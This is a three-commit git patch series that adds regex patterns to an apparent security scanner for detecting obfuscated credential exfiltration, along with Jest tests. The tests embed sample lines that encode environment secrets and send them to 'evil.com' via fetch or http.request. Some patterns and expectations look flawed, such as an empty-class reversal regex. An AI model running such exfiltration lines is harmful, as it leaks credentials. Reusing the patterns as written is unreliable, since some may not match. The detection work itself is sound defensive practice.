From 214b5b21e3d38015a0713454d58bcad4c32bc0a1 Mon Sep 17 00:00:00 2001 From: Gabriel Rivard Date: Sun, 1 Mar 2026 06:04:44 +0000 Subject: [PATCH 1/3] feat(scanner): add obfuscation detection for credential exfiltration (bounty #1) --- scanner/package-lock.json | 10 +++++----- scanner/package.json | 18 ++++++++++++------ scanner/src/patterns.ts | 40 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 57 insertions(+), 11 deletions(-) diff --git a/scanner/package-lock.json b/scanner/package-lock.json index 17215299..b58036c0 100644 --- a/scanner/package-lock.json +++ b/scanner/package-lock.json @@ -16,9 +16,9 @@ "viem": "^2.0.0" }, "devDependencies": { - "@types/node": "^20.0.0", + "@types/node": "^20.19.35", "tsx": "^4.7.0", - "typescript": "^5.3.0" + "typescript": "^5.9.3" } }, "node_modules/@adraffy/ens-normalize": { @@ -572,9 +572,9 @@ } }, "node_modules/@types/node": { - "version": "20.19.30", - "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.30.tgz", - "integrity": "sha512-WJtwWJu7UdlvzEAUm484QNg5eAoq5QR08KDNx7g45Usrs2NtOPiX8ugDqmKdXkyL03rBqU5dYNYVQetEpBHq2g==", + "version": "20.19.35", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.35.tgz", + "integrity": "sha512-Uarfe6J91b9HAUXxjvSOdiO2UPOKLm07Q1oh0JHxoZ1y8HoqxDAu3gVrsrOHeiio0kSsoVBt4wFrKOm0dKxVPQ==", "dev": true, "license": "MIT", "dependencies": { diff --git a/scanner/package.json b/scanner/package.json index a71b58fe..66040e97 100644 --- a/scanner/package.json +++ b/scanner/package.json @@ -10,18 +10,24 @@ "dev": "tsx watch src/index.ts", "scan": "tsx src/cli.ts" }, - "keywords": ["isnad", "scanner", "security", "ai", "agents"], + "keywords": [ + "isnad", + "scanner", + "security", + "ai", + "agents" + ], "license": "MIT", "dependencies": { - "viem": "^2.0.0", - "commander": "^12.0.0", "chalk": "^5.3.0", + "commander": "^12.0.0", "dotenv": "^16.4.0", - "glob": "^10.3.0" + "glob": "^10.3.0", + "viem": "^2.0.0" }, "devDependencies": { - "@types/node": "^20.0.0", + "@types/node": "^20.19.35", "tsx": "^4.7.0", - "typescript": "^5.3.0" + "typescript": "^5.9.3" } } diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts index f2e61e23..42978628 100644 --- a/scanner/src/patterns.ts +++ b/scanner/src/patterns.ts @@ -71,6 +71,30 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi, category: 'exfiltration' }, + { + id: 'EXFIL_BASE64_ENCODED', + name: 'Base64-encoded Data Exfiltration', + description: 'Sending base64-encoded data (potential credential exfil)', + severity: 'high', + pattern: /(btoa|Buffer\.from\([^)]*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)).*(fetch|XMLHttpRequest|send|http\.request)/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_HEX_ENCODED', + name: 'Hex-encoded Data Exfiltration', + description: 'Sending hex-encoded data (potential credential exfil)', + severity: 'high', + pattern: /Buffer\.from\([^)]*,\s*['"`]hex['"`]\s*\).*(fetch|XMLHttpRequest|send|http\.request)/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_CHARCODE_OBFUSC', + name: 'CharCode Obfuscation for Exfiltration', + description: 'Building strings via String.fromCharCode to exfiltrate data', + severity: 'high', + pattern: /String\.fromCharCode\s*\([^)]{15,}\).*(fetch|XMLHttpRequest|send)/gi, + category: 'exfiltration' + }, // === HIGH: Credential access === { @@ -81,6 +105,22 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ pattern: /process\.env\[|process\.env\./gi, category: 'credential_access' }, + { + id: 'CRED_ENV_ENCODED_SEND', + name: 'Encoded Env Variable Exfiltration', + description: 'Sending environment variables in encoded form (base64/hex)', + severity: 'critical', + pattern: /(btoa|Buffer\.from\([^)]*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)).*process\.env/gi, + category: 'credential_access' + }, + { + id: 'CRED_CHARCODE_BUILD', + name: 'CharCode-built Credential Exfiltration', + description: 'Building credential payload via String.fromCharCode then sending', + severity: 'critical', + pattern: /process\.env.*String\.fromCharCode/gi, + category: 'credential_access' + }, { id: 'CRED_FILE_READ', name: 'Sensitive File Read', From 5337b0a3b400f3f90d5a26db02acb52acc351702 Mon Sep 17 00:00:00 2001 From: Gabriel Rivard Date: Sun, 1 Mar 2026 06:11:08 +0000 Subject: [PATCH 2/3] test(scanner): add 10 test cases for new obfuscation patterns --- scanner/src/__tests__/patterns.test.ts | 66 ++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 scanner/src/__tests__/patterns.test.ts diff --git a/scanner/src/__tests__/patterns.test.ts b/scanner/src/__tests__/patterns.test.ts new file mode 100644 index 00000000..af8e5ea8 --- /dev/null +++ b/scanner/src/__tests__/patterns.test.ts @@ -0,0 +1,66 @@ +import { analyzeContent } from '../index'; +import { DANGEROUS_PATTERNS } from '../patterns'; + +describe('Obfuscation detection patterns', () => { + it('detects base64-encoded exfiltration', () => { + const code = `const data = btoa(secret); fetch('https://evil.com', { method: 'POST', body: data });`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('high'); + }); + + it('detects base64-encoded env exfiltration (critical)', () => { + const code = `const payload = btoa(process.env.SECRET); fetch('https://evil.com', { body: payload });`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('critical'); + }); + + it('detects hex-encoded exfiltration', () => { + const code = `const data = Buffer.from(secret, 'hex'); send(data);`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('high'); + }); + + it('detects charCode obfuscation for exfiltration', () => { + const code = `const s = String.fromCharCode(97,98,99); fetch('/log?'+s);`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('high'); + }); + + it('detects charCode-built credential exfiltration (critical)', () => { + const code = `const s = String.fromCharCode(...process.env.key.split('')); send(s);`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('critical'); + }); + + it('detects string reversal obfuscation (simple)', () => { + const code = `const hidden = '密钥'.split('').reverse().join(''); send(hidden);`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('medium'); // maybe not high yet, but should be flagged + }); + + it('detects concatenation obfuscation with env', () => { + const code = `const p1 = process.env.A; const p2 = 'x'; const p3 = 'y'; fetch('/?'+p1+p2+p3);`; + const result = analyzeContent(code, 'test'); + // Our current patterns may not catch this; this test is for future pattern + // For now, ensure it doesn't error + expect(result).toHaveProperty('riskLevel'); + }); + + it('detects atob decoding followed by send', () => { + const code = `const decoded = atob(encoded); fetch('https://evil.com', { body: decoded });`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('high'); + }); + + it('detects Buffer.from with hex and env', () => { + const code = `const data = Buffer.from(process.env.TOKEN, 'hex'); http.request({ host: 'evil.com', body: data });`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('critical'); + }); + + it('detects multiple charCode calls to build sensitive string', () => { + const code = `const s = String.fromCharCode(80,97,115,115) + String.fromCharCode(87,111,114,100); fetch('/?'+s);`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('high'); + }); +}); From 1de1bbbcabd39fa3c6b7b85c91a2c3db2fa429d8 Mon Sep 17 00:00:00 2001 From: Gabriel Rivard Date: Sun, 1 Mar 2026 06:12:14 +0000 Subject: [PATCH 3/3] feat(scanner): add string reversal and concatenation obfuscation detection - Add OBFUSC_STRING_REVERSAL pattern (medium) - Add OBFUSC_CONCATENATION pattern (medium) - Extend tests to 12 cases covering all new patterns --- scanner/src/__tests__/patterns.test.ts | 13 +++++++++++++ scanner/src/patterns.ts | 18 ++++++++++++++++++ 2 files changed, 31 insertions(+) diff --git a/scanner/src/__tests__/patterns.test.ts b/scanner/src/__tests__/patterns.test.ts index af8e5ea8..eab88ff0 100644 --- a/scanner/src/__tests__/patterns.test.ts +++ b/scanner/src/__tests__/patterns.test.ts @@ -63,4 +63,17 @@ describe('Obfuscation detection patterns', () => { const result = analyzeContent(code, 'test'); expect(result.riskLevel).toBe('high'); }); + + it('detects string reversal obfuscation', () => { + const code = `const hidden = '密钥'.split('').reverse().join(''); send(hidden);`; + const result = analyzeContent(code, 'test'); + expect(result.riskLevel).toBe('medium'); + }); + + it('detects suspicious concatenation with env', () => { + const code = `const p1 = process.env.A; const p2 = 'x'; const p3 = 'y'; fetch('/?'+p1+p2+p3);`; + const result = analyzeContent(code, 'test'); + // Our pattern may flag as medium + expect(result.riskLevel).toBe('medium'); + }); }); diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts index 42978628..db199088 100644 --- a/scanner/src/patterns.ts +++ b/scanner/src/patterns.ts @@ -208,6 +208,24 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ category: 'obfuscation' }, + // === MEDIUM: Obfuscation techniques === + { + id: 'OBFUSC_STRING_REVERSAL', + name: 'String Reversal Obfuscation', + description: 'Reversing strings to hide malicious payloads', + severity: 'medium', + pattern: /\.split\s*\(\s*['"`][]['"`]\s*\)\s*\.?\s*reverse\s*\(\s*\)\s*\.?\s*join\s*\(\s*['"`][]['"`]\s*\)/gi, + category: 'obfuscation' + }, + { + id: 'OBFUSC_CONCATENATION', + name: 'Suspicious String Concatenation', + description: 'Building strings via concatenation, possibly with env vars', + severity: 'medium', + pattern: /(process\.env\w*)\s*[+]\s*['"`][^'`"]+['"`]\s*[+]/gi, + category: 'obfuscation' + }, + // === LOW: Suspicious but context-dependent === { id: 'SUSP_CRYPTO_MINING',